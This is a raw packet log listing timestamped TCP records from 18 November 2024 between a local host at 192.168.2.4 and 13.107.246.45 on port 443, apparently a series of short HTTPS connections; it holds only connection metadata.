Nov 18, 2024 17:24:26.645618916 CET	443	49967	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.645665884 CET	49967	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.647047043 CET	49967	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.647070885 CET	443	49967	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.647121906 CET	49967	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.647130013 CET	443	49967	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.651628017 CET	49972	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.651659012 CET	443	49972	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.651777983 CET	49972	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.652121067 CET	49972	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.652137041 CET	443	49972	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.654836893 CET	443	49968	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.658943892 CET	49968	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.658973932 CET	443	49968	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.659409046 CET	49968	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.659415960 CET	443	49968	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.707689047 CET	443	49970	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.708261967 CET	49970	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.708272934 CET	443	49969	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.708282948 CET	443	49970	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.708684921 CET	49970	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.708692074 CET	443	49970	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.709027052 CET	49969	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.709052086 CET	443	49969	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.709433079 CET	49969	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.709440947 CET	443	49969	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.784928083 CET	443	49968	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.785000086 CET	443	49968	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.785065889 CET	49968	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.785082102 CET	443	49968	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.785124063 CET	443	49968	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.785178900 CET	49968	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.785311937 CET	49968	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.785330057 CET	443	49968	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.785339117 CET	49968	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.785346031 CET	443	49968	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.787635088 CET	49973	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.787662029 CET	443	49973	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.787750006 CET	49973	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.787904024 CET	49973	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.787916899 CET	443	49973	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.842227936 CET	443	49970	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.842309952 CET	443	49970	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.842394114 CET	443	49970	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.842422962 CET	49970	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.842452049 CET	49970	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.844820976 CET	443	49969	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.844897985 CET	443	49969	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.845900059 CET	49969	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.852709055 CET	49970	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.852730036 CET	443	49970	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.852742910 CET	49970	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.852750063 CET	443	49970	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.854187965 CET	49969	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.854204893 CET	443	49969	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.854218960 CET	49969	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.854224920 CET	443	49969	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.855824947 CET	49974	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.855865955 CET	443	49974	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.856026888 CET	49974	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.856113911 CET	49975	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.856131077 CET	443	49975	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.856137991 CET	49974	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.856152058 CET	443	49974	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:26.856213093 CET	49975	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.856283903 CET	49975	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:26.856295109 CET	443	49975	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.311651945 CET	443	49971	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.312196970 CET	49971	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.312211037 CET	443	49971	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.312664986 CET	49971	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.312670946 CET	443	49971	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.395051956 CET	443	49972	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.395596981 CET	49972	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.395618916 CET	443	49972	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.396035910 CET	49972	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.396053076 CET	443	49972	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.444200039 CET	443	49971	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.444267988 CET	443	49971	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.444389105 CET	49971	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.444618940 CET	49971	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.444629908 CET	443	49971	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.444639921 CET	49971	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.444643974 CET	443	49971	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.447458982 CET	49976	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.447490931 CET	443	49976	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.447577000 CET	49976	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.447873116 CET	49976	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.447889090 CET	443	49976	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.524519920 CET	443	49973	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.525053978 CET	49973	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.525068045 CET	443	49973	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.525568008 CET	49973	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.525573015 CET	443	49973	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.576898098 CET	443	49972	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.576941967 CET	443	49972	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.576998949 CET	443	49972	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.577019930 CET	49972	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.577142000 CET	49972	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.577263117 CET	49972	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.577263117 CET	49972	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.577285051 CET	443	49972	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.577292919 CET	443	49972	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.580178022 CET	49977	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.580271006 CET	443	49977	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.580357075 CET	49977	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.580558062 CET	49977	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.580609083 CET	443	49977	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.614458084 CET	443	49974	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.614965916 CET	49974	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.614974022 CET	443	49974	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.615474939 CET	49974	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.615478992 CET	443	49974	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.619574070 CET	443	49975	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.620117903 CET	49975	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.620131969 CET	443	49975	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.620636940 CET	49975	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.620641947 CET	443	49975	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.694000959 CET	443	49973	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.694288969 CET	443	49973	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.694394112 CET	49973	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.694394112 CET	49973	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.694546938 CET	49973	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.694561005 CET	443	49973	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.697052002 CET	49978	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.697088957 CET	443	49978	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.697204113 CET	49978	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.697326899 CET	49978	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.697338104 CET	443	49978	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.746977091 CET	443	49974	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.747266054 CET	443	49974	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.747311115 CET	443	49974	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.747355938 CET	49974	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.747383118 CET	49974	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.747443914 CET	49974	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.747443914 CET	49974	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.747462034 CET	443	49974	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.747471094 CET	443	49974	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.749479055 CET	443	49975	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.749685049 CET	443	49975	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.749869108 CET	49975	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.749928951 CET	49975	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.749928951 CET	49975	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.749934912 CET	443	49975	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.749941111 CET	443	49975	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.750077963 CET	49979	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.750140905 CET	443	49979	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.750227928 CET	49979	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.750359058 CET	49979	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.750390053 CET	443	49979	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.752125025 CET	49980	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.752151012 CET	443	49980	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:27.752214909 CET	49980	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.752327919 CET	49980	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:27.752335072 CET	443	49980	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.193150997 CET	443	49976	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.193636894 CET	49976	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.193648100 CET	443	49976	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.194195032 CET	49976	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.194200039 CET	443	49976	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.324635029 CET	443	49976	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.324702024 CET	443	49976	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.324917078 CET	49976	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.324984074 CET	49976	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.325001001 CET	49976	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.325001955 CET	443	49976	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.325009108 CET	443	49976	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.327706099 CET	49981	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.327743053 CET	443	49981	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.327807903 CET	49981	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.327960968 CET	49981	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.327981949 CET	443	49981	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.346791029 CET	443	49977	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.347332954 CET	49977	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.347347975 CET	443	49977	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.347794056 CET	49977	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.347799063 CET	443	49977	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.448812962 CET	443	49978	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.449290991 CET	49978	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.449310064 CET	443	49978	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.449771881 CET	49978	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.449775934 CET	443	49978	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.481249094 CET	443	49979	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.481750011 CET	49979	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.481776953 CET	443	49979	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.482259035 CET	49979	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.482266903 CET	443	49979	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.484469891 CET	443	49980	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.484957933 CET	49980	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.484971046 CET	443	49980	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.485361099 CET	49980	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.485366106 CET	443	49980	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.506436110 CET	443	49977	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.506525040 CET	443	49977	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.506660938 CET	49977	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.519903898 CET	49977	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.519956112 CET	443	49977	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.524110079 CET	49982	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.524163008 CET	443	49982	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.524226904 CET	49982	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.524420023 CET	49982	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.524427891 CET	443	49982	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.579830885 CET	443	49978	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.579905033 CET	443	49978	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.579974890 CET	49978	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.579991102 CET	443	49978	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.580018997 CET	443	49978	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.581921101 CET	49978	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.582282066 CET	49978	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.582294941 CET	443	49978	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.582307100 CET	49978	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.582313061 CET	443	49978	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.585305929 CET	49983	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.585419893 CET	443	49983	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.585520029 CET	49983	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.585678101 CET	49983	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.585715055 CET	443	49983	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.610649109 CET	443	49979	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.610726118 CET	443	49979	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.610856056 CET	49979	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.611777067 CET	49979	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.611777067 CET	49979	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.611819029 CET	443	49979	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.611846924 CET	443	49979	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.614905119 CET	49984	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.614944935 CET	443	49984	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.615047932 CET	49984	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.615200043 CET	49984	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.615231037 CET	443	49984	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.615575075 CET	443	49980	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.615706921 CET	443	49980	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.615828037 CET	443	49980	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.615896940 CET	49980	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.615936041 CET	49980	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.615950108 CET	443	49980	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.615958929 CET	49980	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.615963936 CET	443	49980	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.617955923 CET	49985	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.617985010 CET	443	49985	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:28.618060112 CET	49985	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.618172884 CET	49985	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:28.618186951 CET	443	49985	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.135951996 CET	443	49981	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.136629105 CET	49981	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.136697054 CET	443	49981	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.137166977 CET	49981	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.137192011 CET	443	49981	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.269557953 CET	443	49981	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.269629955 CET	443	49981	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.269695044 CET	49981	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.269825935 CET	49981	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.269825935 CET	49981	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.269850016 CET	443	49981	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.269864082 CET	443	49981	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.278548956 CET	49986	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.278575897 CET	443	49986	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.278639078 CET	49986	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.278940916 CET	49986	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.278959990 CET	443	49986	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.323087931 CET	443	49982	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.323649883 CET	49982	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.323674917 CET	443	49982	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.324126005 CET	49982	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.324130058 CET	443	49982	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.359422922 CET	443	49983	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.360017061 CET	49983	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.360064983 CET	443	49983	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.360459089 CET	49983	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.360477924 CET	443	49983	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.376735926 CET	443	49984	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.377204895 CET	49984	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.377249956 CET	443	49984	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.377628088 CET	49984	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.377635956 CET	443	49984	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.394072056 CET	443	49985	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.394424915 CET	49985	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.394443989 CET	443	49985	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.394803047 CET	49985	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.394807100 CET	443	49985	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.456861019 CET	443	49982	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.457257032 CET	443	49982	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.457314014 CET	49982	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.457371950 CET	49982	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.457386017 CET	443	49982	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.457396030 CET	49982	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.457401037 CET	443	49982	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.459902048 CET	49987	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.459934950 CET	443	49987	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.460005045 CET	49987	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.460131884 CET	49987	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.460143089 CET	443	49987	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.487687111 CET	443	49983	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.488019943 CET	443	49983	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.488092899 CET	49983	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.511023998 CET	443	49984	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.511070013 CET	443	49984	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.511126041 CET	443	49984	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.511162996 CET	49984	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.511219978 CET	49984	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.526302099 CET	443	49985	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.526384115 CET	443	49985	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.526447058 CET	49985	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.531326056 CET	49983	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.531327009 CET	49983	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.531373978 CET	443	49983	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.531404018 CET	443	49983	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.532576084 CET	49984	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.532577038 CET	49984	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.532593012 CET	443	49984	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.532613993 CET	443	49984	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.533446074 CET	49985	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.533471107 CET	443	49985	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.533483982 CET	49985	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.533489943 CET	443	49985	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.535811901 CET	49988	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.535835981 CET	443	49988	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.535896063 CET	49988	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.536854982 CET	49989	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.536873102 CET	443	49989	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.536935091 CET	49989	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.537348986 CET	49988	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.537364006 CET	443	49988	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.537451029 CET	49989	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.537463903 CET	443	49989	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.537993908 CET	49990	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.538005114 CET	443	49990	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:29.538062096 CET	49990	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.538156986 CET	49990	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:29.538166046 CET	443	49990	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.008840084 CET	443	49986	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.009541988 CET	49986	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.009627104 CET	443	49986	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.009988070 CET	49986	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.010004997 CET	443	49986	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.143927097 CET	443	49986	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.143953085 CET	443	49986	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.144030094 CET	49986	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.144071102 CET	443	49986	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:30.144130945 CET	49986	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:30.144332886 CET	49986	443	192.168.2.4	13.107.246.45
